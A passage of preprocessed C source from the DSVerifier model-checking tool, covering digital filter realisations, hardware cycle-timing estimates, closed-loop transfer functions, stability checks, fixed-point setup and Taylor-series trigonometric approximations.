if (j < Nb - 1) {
w[j] += *b_ptr++ * x;
}
}
return yout;
}
float float_direct_form_1(float y[], float x[], float a[], float b[], int Na, int Nb) {
float *a_ptr, *y_ptr, *b_ptr, *x_ptr;
float sum = 0;
a_ptr = &a[1];
y_ptr = &y[Na - 1];
b_ptr = &b[0];
x_ptr = &x[Nb - 1];
int i, j;
for (i = 0; i < Nb; i++) {
sum += *b_ptr++ * *x_ptr--;
}
for (j = 1; j < Na; j++) {
sum -= *a_ptr++ * *y_ptr--;
}
sum = (sum / a[0]);
return sum;
}
float float_direct_form_2(float w[], float x, float a[], float b[], int Na, int Nb) {
float *a_ptr, *b_ptr, *w_ptr;
float sum = 0;
a_ptr = &a[1];
b_ptr = &b[0];
w_ptr = &w[1];
int k, j;
for (j = 1; j < Na; j++) {
w[0] -= *a_ptr++ * *w_ptr++;
}
w[0] += x;
w[0] = w[0] / a[0];
w_ptr = &w[0];
for (k = 0; k < Nb; k++) {
sum += *b_ptr++ * *w_ptr++;
}
return sum;
}
float float_transposed_direct_form_2(float w[], float x, float a[], float b[], int Na, int Nb) {
float *a_ptr, *b_ptr;
float yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = (*b_ptr++ * x) + w[0];
yout = yout / a[0];
int j;
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] -= *a_ptr++ * yout;
}
if (j < Nb - 1) {
w[j] += *b_ptr++ * x;
}
}
return yout;
}
double double_direct_form_1_MSP430(double y[], double x[], double a[], double b[], int Na, int Nb){
int timer1 = 0;
double *a_ptr, *y_ptr, *b_ptr, *x_ptr;
double sum = 0;
a_ptr = &a[1];
y_ptr = &y[Na-1];
b_ptr = &b[0];
x_ptr = &x[Nb-1];
int i, j;
timer1 += 91;
for (i = 0; i < Nb; i++){
sum += *b_ptr++ * *x_ptr--;
timer1 += 47;
}
for (j = 1; j < Na; j++){
sum -= *a_ptr++ * *y_ptr--;
timer1 += 57;
}
timer1 += 3;
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
((void) sizeof ((
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
(double) timer1 * hw.cycle <= ds.sample_time
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
(double) timer1 * hw.cycle <= ds.sample_time
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
) ; else __assert_fail (
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
"(double) timer1 * hw.cycle <= ds.sample_time"
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h", 235, __extension__ __PRETTY_FUNCTION__); }))
# 235 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
;
return sum;
}
double double_direct_form_2_MSP430(double w[], double x, double a[], double b[], int Na, int Nb) {
int timer1 = 0;
double *a_ptr, *b_ptr, *w_ptr;
double sum = 0;
a_ptr = &a[1];
b_ptr = &b[0];
w_ptr = &w[1];
int k, j;
timer1 += 71;
for (j = 1; j < Na; j++) {
w[0] -= *a_ptr++ * *w_ptr++;
timer1 += 54;
}
w[0] += x;
w[0] = w[0] / a[0];
w_ptr = &w[0];
for (k = 0; k < Nb; k++) {
sum += *b_ptr++ * *w_ptr++;
timer1 += 46;
}
timer1 += 38;
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
((void) sizeof ((
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
(double) timer1 * hw.cycle <= ds.sample_time
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
(double) timer1 * hw.cycle <= ds.sample_time
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
) ; else __assert_fail (
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
"(double) timer1 * hw.cycle <= ds.sample_time"
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h", 262, __extension__ __PRETTY_FUNCTION__); }))
# 262 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
;
return sum;
}
double double_transposed_direct_form_2_MSP430(double w[], double x, double a[], double b[], int Na, int Nb) {
int timer1 = 0;
double *a_ptr, *b_ptr;
double yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = (*b_ptr++ * x) + w[0];
int j;
timer1 += 105;
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] -= *a_ptr++ * yout;
timer1 += 41;
}
if (j < Nb - 1) {
w[j] += *b_ptr++ * x;
timer1 += 38;
}
timer1 += 54;
}
timer1 += 7;
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
((void) sizeof ((
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
(double) timer1 * hw.cycle <= ds.sample_time
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
(double) timer1 * hw.cycle <= ds.sample_time
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
) ; else __assert_fail (
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
"(double) timer1 * hw.cycle <= ds.sample_time"
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h", 291, __extension__ __PRETTY_FUNCTION__); }))
# 291 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/realizations.h"
;
return yout;
}
double generic_timing_double_direct_form_1(double y[], double x[], double a[], double b[], int Na, int Nb){
generic_timer += ((6 * hw.assembly.push) + (3 * hw.assembly.in) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.cli) + (3 * hw.assembly.out) + (12 * hw.assembly.std));
double *a_ptr, *y_ptr, *b_ptr, *x_ptr;
double sum = 0;
a_ptr = &a[1];
y_ptr = &y[Na-1];
b_ptr = &b[0];
x_ptr = &x[Nb-1];
generic_timer += ((12 * hw.assembly.std) + (12 * hw.assembly.ldd) + (2 * hw.assembly.subi) + (2 * hw.assembly.sbci) + (4 * hw.assembly.lsl) + (4 * hw.assembly.rol) + (2 * hw.assembly.add) + (2 * hw.assembly.adc) + (1 * hw.assembly.adiw));
int i, j;
generic_timer += ((2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
for (i = 0; i < Nb; i++){
generic_timer += ((20 * hw.assembly.ldd) + (24 * hw.assembly.mov) + (2 * hw.assembly.subi) + (1 * hw.assembly.sbci) + (1 * hw.assembly.sbc) + (10 * hw.assembly.std) + (2 * hw.assembly.ld) + (2 * hw.assembly.rcall) + (1 * hw.assembly.adiw) + (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.adiw) + (1 * hw.assembly.brge) + (1 * hw.assembly.rjmp));
sum += *b_ptr++ * *x_ptr--;
}
generic_timer += ((2 * hw.assembly.ldi) + (2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
for (j = 1; j < Na; j++){
generic_timer += ((22 * hw.assembly.ldd) + (24 * hw.assembly.mov) + (2 * hw.assembly.subi) + (8 * hw.assembly.std) + (1 * hw.assembly.sbci) + (2 * hw.assembly.ld) + (2 * hw.assembly.rcall) + (1 * hw.assembly.sbc) + (1 * hw.assembly.adiw) + (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.adiw) + (1 * hw.assembly.brge) + (1 * hw.assembly.rjmp));
sum -= *a_ptr++ * *y_ptr--;
}
generic_timer += ((4 * hw.assembly.ldd) + (4 * hw.assembly.mov) + (1 * hw.assembly.adiw) + (1 * hw.assembly.in) + (1 * hw.assembly.cli) + (3 * hw.assembly.out) + (6 * hw.assembly.pop) + (1 * hw.assembly.ret));
return sum;
}
double generic_timing_double_direct_form_2(double w[], double x, double a[], double b[], int Na, int Nb) {
generic_timer += ((8 * hw.assembly.push) + (14 * hw.assembly.std) + (3 * hw.assembly.out) + (3 * hw.assembly.in) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.cli));
double *a_ptr, *b_ptr, *w_ptr;
double sum = 0;
a_ptr = &a[1];
b_ptr = &b[0];
w_ptr = &w[1];
int k, j;
generic_timer += ((10 * hw.assembly.std) + (6 * hw.assembly.ldd) + (2 * hw.assembly.adiw));
generic_timer += ((2 * hw.assembly.ldi) + (2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
for (j = 1; j < Na; j++) {
w[0] -= *a_ptr++ * *w_ptr++;
generic_timer += ((23 * hw.assembly.ldd) + (32 * hw.assembly.mov) + (9 * hw.assembly.std) + (2 * hw.assembly.subi) + (3 * hw.assembly.ld) + (2 * hw.assembly.rcall) + (2 * hw.assembly.sbci) + (1 * hw.assembly.st) + (1 * hw.assembly.adiw) + (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.brge));
}
w[0] += x;
w_ptr = &w[0];
generic_timer += ((13 * hw.assembly.ldd) + (12 * hw.assembly.mov) + (5 * hw.assembly.std) + (1 * hw.assembly.st) + (1 * hw.assembly.ld) + (1 * hw.assembly.rcall));
generic_timer += ((2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
for (k = 0; k < Nb; k++) {
sum += *b_ptr++ * *w_ptr++;
generic_timer += ((20 * hw.assembly.ldd) + (24 * hw.assembly.mov) + (10 * hw.assembly.std) + (2 * hw.assembly.rcall) + (2 * hw.assembly.ld) + (2 * hw.assembly.subi) + (2 * hw.assembly.sbci) + (1 * hw.assembly.adiw) + (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.brge) + (1 * hw.assembly.rjmp));
}
generic_timer += ((4 * hw.assembly.ldd) + (4 * hw.assembly.mov) + (1 * hw.assembly.adiw) + (1 * hw.assembly.in) + (1 * hw.assembly.cli) + (3 * hw.assembly.out) + (8 * hw.assembly.pop) + (1 * hw.assembly.ret));
return sum;
}
double generic_timing_double_transposed_direct_form_2(double w[], double x, double a[], double b[], int Na, int Nb) {
generic_timer += ((8 * hw.assembly.push) + (14 * hw.assembly.std) + (3 * hw.assembly.out) + (3 * hw.assembly.in) + (1 * hw.assembly.sbiw) + (1 * hw.assembly.cli));
double *a_ptr, *b_ptr;
double yout = 0;
a_ptr = &a[1];
b_ptr = &b[0];
int Nw = Na > Nb ? Na : Nb;
yout = (*b_ptr++ * x) + w[0];
int j;
generic_timer += ((15 * hw.assembly.std) + (22 * hw.assembly.ldd) + (24 * hw.assembly.mov) + (2 * hw.assembly.rcall) + (2 * hw.assembly.ld) + (1 * hw.assembly.cp) + (1 * hw.assembly.cpc) + (1 * hw.assembly.subi) + (1 * hw.assembly.sbci) + (1 * hw.assembly.brge) + (1 * hw.assembly.adiw));
generic_timer += ((2 * hw.assembly.std) + (1 * hw.assembly.rjmp));
for (j = 0; j < Nw - 1; j++) {
w[j] = w[j + 1];
if (j < Na - 1) {
w[j] -= *a_ptr++ * yout;
}
if (j < Nb - 1) {
w[j] += *b_ptr++ * x;
}
generic_timer += ((70 * hw.assembly.mov) + (65 * hw.assembly.ldd) + (12 * hw.assembly.lsl) + (12 * hw.assembly.rol) + (15 * hw.assembly.std) + (6 * hw.assembly.add) + (6 * hw.assembly.adc) + (2 * hw.assembly.adiw) + (3 * hw.assembly.cpc) + (3 * hw.assembly.cp) + (5 * hw.assembly.ld) + (4 * hw.assembly.rcall) + (5 * hw.assembly.subi) + (3 * hw.assembly.rjmp) + (2 * hw.assembly.brlt) + (3 * hw.assembly.st) + (2 * hw.assembly.sbci) + (3 * hw.assembly.sbc) + (1 * hw.assembly.brge));
}
generic_timer += ((4 * hw.assembly.ldd) + (4 * hw.assembly.mov) + (8 * hw.assembly.pop) + (3 * hw.assembly.out) + (1 * hw.assembly.in) + (1 * hw.assembly.cli) + (1 * hw.assembly.adiw) + (1 * hw.assembly.ret));
return yout;
}
void double_direct_form_1_impl2(double x[], int x_size, double b[], int b_size, double a[], int a_size, double y[]){
int i = 0; int j = 0;
double v[x_size];
for(i = 0; i < x_size; i++){
v[i] = 0;
for(j = 0; j < b_size; j++){
if (j > i) break;
v[i] = v[i] + x[i-j] * b[j];
}
}
y[0] = v[0];
for(i = 1; i < x_size; i++){
y[i] = 0;
y[i] = y[i] + v[i];
for(j = 1; j < a_size; j++){
if (j > i) break;
y[i] = y[i] + y[i-j] * ((-1) * a[j]);
}
}
}
void fxp_direct_form_1_impl2(fxp_t x[], int x_size, fxp_t b[], int b_size, fxp_t a[], int a_size, fxp_t y[]){
int i = 0; int j = 0;
fxp_t v[x_size];
for(i = 0; i < x_size; i++){
v[i] = 0;
for(j = 0; j < b_size; j++){
if (j > i) break;
v[i] = fxp_add(v[i], fxp_mult(x[i-j], b[j]));
}
}
y[0] = v[0];
for(i = 1; i < x_size; i++){
y[i] = 0;
y[i] = fxp_add(y[i], v[i]);
for(j = 1; j < a_size; j++){
if (j > i) break;
y[i] = fxp_add(y[i], fxp_mult(y[i-j] , -a[j]));
}
}
}
# 26 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/delta-operator.h" 1
# 19 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/delta-operator.h"
# 1 "/usr/include/assert.h" 1 3 4
# 20 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/delta-operator.h" 2
# 1 "/usr/include/assert.h" 1 3 4
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/delta-operator.h" 2
int nchoosek(int n, int k){
if (k == 0)
return 1;
return (n * nchoosek(n - 1, k - 1)) / k;
}
void generate_delta_coefficients(double vetor[], double out[], int n, double delta){
int i,j;
int N = n - 1;
double sum_delta_operator;
for(i=0; i<=N; i++)
{
sum_delta_operator = 0;
for(j=0; j<=i; j++)
{
sum_delta_operator = sum_delta_operator + vetor[j]*nchoosek(N-j,i-j);
}
out[i] = internal_pow(delta,N-i)*sum_delta_operator;
}
}
void get_delta_transfer_function(double b[], double b_out[], int b_size, double a[], double a_out[], int a_size, double delta){
generate_delta_coefficients(b, b_out, b_size, delta);
generate_delta_coefficients(a, a_out, a_size, delta);
}
void get_delta_transfer_function_with_base(double b[], double b_out[], int b_size, double a[], double a_out[], int a_size, double delta){
int i,j;
int N = a_size - 1;
int M = b_size - 1;
double sum_delta_operator;
for(i=0; i<=N; i++)
{
sum_delta_operator = 0;
for(j=0; j<=i; j++)
{
sum_delta_operator = sum_delta_operator + a[j]*nchoosek(N-j,i-j);
}
a_out[i] = internal_pow(delta,N-i)*sum_delta_operator;
}
for(i=0; i<=M; i++)
{
sum_delta_operator = 0;
for(j=0; j<=i; j++)
{
sum_delta_operator = sum_delta_operator + b[j]*nchoosek(M-j,i-j);
}
b_out[i] = internal_pow(delta,M-i)*sum_delta_operator;
}
}
# 27 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/closed-loop.h" 1
# 28 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/closed-loop.h"
void ft_closedloop_series(double c_num[], int Nc_num, double c_den[], int Nc_den, double model_num[], int Nmodel_num, double model_den[], int Nmodel_den, double ans_num[], int Nans_num, double ans_den[], int Nans_den){
Nans_num = Nc_num + Nmodel_num - 1;
Nans_den = Nc_den + Nmodel_den - 1 ;
double den_mult [Nans_den];
poly_mult(c_num, Nc_num, model_num, Nmodel_num, ans_num, Nans_num);
poly_mult(c_den, Nc_den, model_den, Nmodel_den, den_mult, Nans_den );
poly_sum(ans_num, Nans_num , den_mult, Nans_den , ans_den, Nans_den);
}
void ft_closedloop_sensitivity(double c_num[], int Nc_num, double c_den[], int Nc_den, double model_num[], int Nmodel_num, double model_den[], int Nmodel_den, double ans_num[], int Nans_num, double ans_den[], int Nans_den){
int Nans_num_p = Nc_num + Nmodel_num-1;
Nans_den = Nc_den + Nmodel_den-1;
Nans_num = Nc_den + Nmodel_den-1;
double num_mult [Nans_num_p];
poly_mult(c_den, Nc_den, model_den, Nmodel_den, ans_num, Nans_num);
poly_mult(c_num, Nc_num, model_num, Nmodel_num, num_mult, Nans_num_p);
poly_sum(ans_num, Nans_num, num_mult, Nans_num_p, ans_den, Nans_den);
}
void ft_closedloop_feedback(double c_num[], int Nc_num, double c_den[], int Nc_den, double model_num[], int Nmodel_num, double model_den[], int Nmodel_den, double ans_num[], int Nans_num, double ans_den[], int Nans_den){
Nans_num = Nc_den + Nmodel_num - 1;
Nans_den = Nc_den + Nmodel_den - 1;
int Nnum_mult = Nc_num + Nmodel_num - 1;
double den_mult [Nans_den];
double num_mult [Nnum_mult];
poly_mult(c_num, Nc_num, model_num, Nmodel_num, num_mult, Nnum_mult);
poly_mult(c_den, Nc_den, model_den, Nmodel_den, den_mult, Nans_den);
poly_sum(num_mult, Nnum_mult, den_mult, Nans_den, ans_den, Nans_den);
poly_mult(c_den, Nc_den, model_num, Nmodel_num, ans_num, Nans_num);
}
int check_stability_closedloop(double a[], int n, double plant_num[], int p_num_size, double plant_den[], int p_den_size){
int columns = n;
double m[2 * n - 1][n];
int i,j;
int first_is_positive = 0;
double * p_num = plant_num;
double * p_den = plant_den;
double sum = 0;
for (i=0; i < n; i++){
sum += a[i];
}
__DSVERIFIER_assert(sum > 0);
sum = 0;
for (i=0; i < n; i++){
sum += a[i] * internal_pow(-1, n-1-i);
}
sum = sum * internal_pow(-1, n-1);
__DSVERIFIER_assert(sum > 0);
__DSVERIFIER_assert(internal_abs(a[n-1]) < a[0]);
for (i=0; i < 2 * n - 1; i++){
for (j=0; j < columns; j++){
m[i][j] = 0;
if (i == 0){
m[i][j] = a[j];
continue;
}
if (i % 2 != 0 ){
int x;
for(x=0; x<columns;x++){
m[i][x] = m[i-1][columns-x-1];
}
columns = columns - 1;
j = columns;
}else{
__DSVERIFIER_assert(m[i-2][0] > 0);
m[i][j] = m[i-2][j] - (m[i-2][columns] / m[i-2][0]) * m[i-1][j];
__DSVERIFIER_assert((m[0][0] >= 0) && (m[i][0] >= 0));
}
}
}
return 1;
}
# 28 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h" 1
# 17 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
extern digital_system ds;
extern digital_system plant;
extern digital_system control;
extern implementation impl;
extern filter_parameters filter;
extern hardware hw;
void initialization(){
if (impl.frac_bits >= 32){
printf("impl.frac_bits must be less than word width!\n");
}
if (impl.int_bits >= 32 - impl.frac_bits){
printf("impl.int_bits must be less than word width subtracted by precision!\n");
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h" 3 4
((void) sizeof ((
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
0
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
0
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h" 3 4
) ; else __assert_fail (
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
"0"
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h", 33, __extension__ __PRETTY_FUNCTION__); }))
# 33 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
;
}
if(impl.frac_bits >= 31){
_fxp_one = 0x7fffffff;
}else{
_fxp_one = (0x00000001 << impl.frac_bits);
}
_fxp_half = (0x00000001 << (impl.frac_bits - 1));
_fxp_minus_one = -(0x00000001 << impl.frac_bits);
_fxp_min = -(0x00000001 << (impl.frac_bits + impl.int_bits - 1));
_fxp_max = (0x00000001 << (impl.frac_bits + impl.int_bits - 1)) - 1;
_fxp_fmask = ((((int32_t) 1) << impl.frac_bits) - 1);
_fxp_imask = ((0x80000000) >> (32 - impl.frac_bits - 1));
_dbl_min = _fxp_min;
_dbl_min /= (1 << impl.frac_bits);
_dbl_max = _fxp_max;
_dbl_max /= (1 << impl.frac_bits);
if ((impl.scale == 0) || (impl.scale == 1)){
impl.scale = 1;
return;
}
if (impl.min != 0){
impl.min = impl.min / impl.scale;
}
if (impl.max != 0){
impl.max = impl.max / impl.scale;
}
# 80 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/initialization.h"
}
# 29 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/state-space.h" 1
# 19 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/state-space.h"
extern digital_system_state_space _controller;
extern int nStates;
extern int nInputs;
extern int nOutputs;
double double_state_space_representation(void){
double result1[4][4];
double result2[4][4];
int i, j;
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result1[i][j]=0;
result2[i][j]=0;
}
}
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller.C,_controller.states,result1);
double_matrix_multiplication(nOutputs,nInputs,nInputs,1,_controller.D,_controller.inputs,result2);
double_add_matrix(nOutputs,
1,
result1,
result2,
_controller.outputs);
double_matrix_multiplication(nStates,nStates,nStates,1,_controller.A,_controller.states,result1);
double_matrix_multiplication(nStates,nInputs,nInputs,1,_controller.B,_controller.inputs,result2);
double_add_matrix(nStates,
1,
result1,
result2,
_controller.states);
return _controller.outputs[0][0];
}
double fxp_state_space_representation(void){
fxp_t result1[4][4];
fxp_t result2[4][4];
int i, j;
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result1[i][j]=0;
result2[i][j]=0;
}
}
fxp_t A_fpx[4][4];
fxp_t B_fpx[4][4];
fxp_t C_fpx[4][4];
fxp_t D_fpx[4][4];
fxp_t states_fpx[4][4];
fxp_t inputs_fpx[4][4];
fxp_t outputs_fpx[4][4];
for(i=0; i<4;i++){
for(j=0; j<4;j++){
A_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
B_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
C_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
D_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
states_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
inputs_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
outputs_fpx[i][j]=0;
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
A_fpx[i][j]= fxp_double_to_fxp(_controller.A[i][j]);
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nInputs;j++){
B_fpx[i][j]= fxp_double_to_fxp(_controller.B[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nStates;j++){
C_fpx[i][j]= fxp_double_to_fxp(_controller.C[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nInputs;j++){
D_fpx[i][j]= fxp_double_to_fxp(_controller.D[i][j]);
}
}
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
states_fpx[i][j]= fxp_double_to_fxp(_controller.states[i][j]);
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<1;j++){
inputs_fpx[i][j]= fxp_double_to_fxp(_controller.inputs[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<1;j++){
outputs_fpx[i][j]= fxp_double_to_fxp(_controller.outputs[i][j]);
}
}
fxp_matrix_multiplication(nOutputs,nStates,nStates,1,C_fpx,states_fpx,result1);
fxp_matrix_multiplication(nOutputs,nInputs,nInputs,1,D_fpx,inputs_fpx,result2);
fxp_add_matrix(nOutputs,
1,
result1,
result2,
outputs_fpx);
fxp_matrix_multiplication(nStates,nStates,nStates,1,A_fpx,states_fpx,result1);
fxp_matrix_multiplication(nStates,nInputs,nInputs,1,B_fpx,inputs_fpx,result2);
fxp_add_matrix(nStates,
1,
result1,
result2,
states_fpx);
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
_controller.states[i][j]= fxp_to_double(states_fpx[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<1;j++){
_controller.outputs[i][j]= fxp_to_double(outputs_fpx[i][j]);
}
}
return _controller.outputs[0][0];
}
# 30 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/filter_functions.h" 1
# 20 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/filter_functions.h"
double sinTyl(double x, int precision){
double sine;
double xsquared = x*x;
double aux;
if (precision < 0)
{
printf("Warning: Function sinTyl from bmc/core/filter_functions.h: "
"Precision must be a positive integer. Assuming 0 precision\n");
precision = 0;
}
if (precision >= 0)
{
aux = 0;
sine = aux;
if (precision >= 1)
{
aux = x;
sine += aux;
if (precision >= 2)
{
aux = aux*xsquared;
sine -= aux/6;
if (precision >= 3)
{
aux = aux*xsquared;
sine +=aux/120;
if(precision >=4)
{
aux = aux*xsquared;
sine -=aux/5040;
if(precision >= 5)
{
aux = aux*xsquared;
sine +=aux/362880;
if(precision >= 6)
{
aux = aux*xsquared;
sine -=aux/39916800;
if (precision >= 7)
printf("Warning: Function sinTyl "
"from bmc/core/filter_functions.h: Precision "
"representation exceeded. Assuming maximum precision of 6\n");
}
}
}
}
}
}
}
return sine;
}
double cosTyl(double x, int precision){
double cosine;
double xsquared = x*x;
double aux;
if (precision < 0)
{
printf("Warning: Function cosTyl from bmc/core/filter_functions.h: "
"Precision must be a positive integer. Assuming 0 precision\n");
precision = 0;
}
if (precision >= 0)
{
aux = 0;
cosine = aux;
if (precision >= 1)
{
aux = 1;
cosine = 1;
if (precision >= 2)
{
aux = xsquared;
cosine -= aux/2;
if (precision >= 3)
{
aux = aux*xsquared;
cosine += aux/24;
if(precision >=4)
{
aux = aux*xsquared;
cosine -=aux/720;
if(precision >= 5)
{
aux = aux*xsquared;
cosine +=aux/40320;
if(precision >= 6)
{
aux = aux*xsquared;
cosine -=aux/3628800;
if (precision >= 7) printf("Warning: Function sinTyl "
"from bmc/core/filter_functions.h: Precision "
"representation exceeded. Assuming maximum precision of 6\n");
}
}
}
}
}
}
}
return cosine;
}
double atanTyl(double x, int precision){
